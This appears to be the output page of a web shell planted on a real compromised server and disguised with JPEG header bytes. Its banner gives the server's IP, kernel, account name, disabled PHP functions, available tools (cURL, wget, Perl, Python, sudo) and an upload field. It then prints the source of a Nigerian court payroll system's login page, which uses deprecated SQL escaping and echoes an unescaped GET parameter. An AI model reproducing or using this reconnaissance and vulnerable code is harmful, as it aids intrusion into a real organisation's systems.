ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.147.6.205 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/consolidated/ |
Upload File : |
<?php //die('Check Back Later'); //require_once('business login/classes/.php'); require_once('business logic/classes/users.php'); $user = new User(); $audit = new Audit(); $_SESSION['view-mode'] = 'false'; /** Validate captcha */ if (!empty($_REQUEST['captcha'])) { $u = mysql_real_escape_string($_POST['username']); $p = mysql_real_escape_string($_POST['password']); if (empty($_SESSION['captcha']) || trim(strtolower($_REQUEST['captcha'])) != $_SESSION['captcha']) { $msg = "Enter correct codes as shown"; $style = "background-color: #FF606C"; } else { $login = $user->check_login($u,$p ); if ($login) { // Registration Success header("location:userArea.php"); //echo 'i"m in!!!'; // $msg='Welcome Admin';//include username } else { // Registration Failed //echo 'Username / password wrong'; $msg='Invalid login credentials'; } unset($_SESSION['captcha']); $request_captcha = htmlspecialchars($_REQUEST['captcha']); } } //end here ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="images/favicon.ico"> <title>National Industrial Court of Nigeria...::...Login</title> <link href="css/payroll.css" rel="stylesheet" type="text/css" /> <style type="text/css"> <!-- .style25 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #FF0000; } --> </style> <script language="javascript" type="text/javascript"> function submitregistration() { var form = document.login; if(form.username.value == "") { alert( "Enter Username to log on" ); return false; } else if(form.password.value == "") { alert( "Enter password to log on" ); return false; } } </script> </head> <body onLoad="document.login.username.focus()"> <table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" > <!--DWLayoutTable--> <tr> <td width="800" height="42" valign="top"><?php require_once('header.php');?></td> </tr> <tr> <td height="19" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder"> <!--DWLayoutTable--> <tr> <td>Payroll Management System</td> </tr> </table></td> </tr> <tr> <td height="250" valign="top"><br /> <br /> <br /> <table width="304" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="297" colspan="3"><fieldset> <legend><img src="images/lock.gif" width="16" height="16" alt="Lock" /><br /> </legend> <form id="login" name="login" method="post" action="" autocomplete="off"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="3"> <tr class="listtop"> <td colspan="3"><span class="style25"> <?php if(isset($msg)) echo $msg; else if (isset($_GET['r'])) echo $_GET['r']; ?> </span></td> </tr> <tr> <td width="42%"><div align="right">Username</div></td> <td width="58%"><input name="username" type="text" id="username" required="true"/></td> </tr> <tr> <td><div align="right">Password</div></td> <td><input name="password" type="password" id="password" required="true"/></td> </tr> <tr> <td colspan="2" align="center"><div align="right"><img src="captcha.php" id="captcha" /></div> <!-- CHANGE TEXT LINK --> <a href="#" onclick=" document.getElementById('captcha').src='captcha.php?'+Math.random(); document.getElementById('captcha-form').focus();" id="change-image" tabindex="5">Not readable? Change text.</a></td> </tr> <!-- <tr><td colspan="2"> </td></tr>--> <tr> <td valign="bottom"><div align="right">Enter text</div></td> <td><input type="text" name="captcha" id="captcha-form" /></td> </tr> <tr> <td></td> <td><input type="hidden" name="flag" value="login"/> <input type="submit" name="login_btn" value="Login" onClick="return(submitregistration());" id="login_btn"/></td> </tr> </table> </form> </fieldset></td> </tr> </table> </td> </tr> <tr> <td height="20" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0"> <!--DWLayoutTable--> <tr> <td width="800" height="20"></td> </tr> </table></td> </tr> </table> </body> </html> <?php $user->close();?>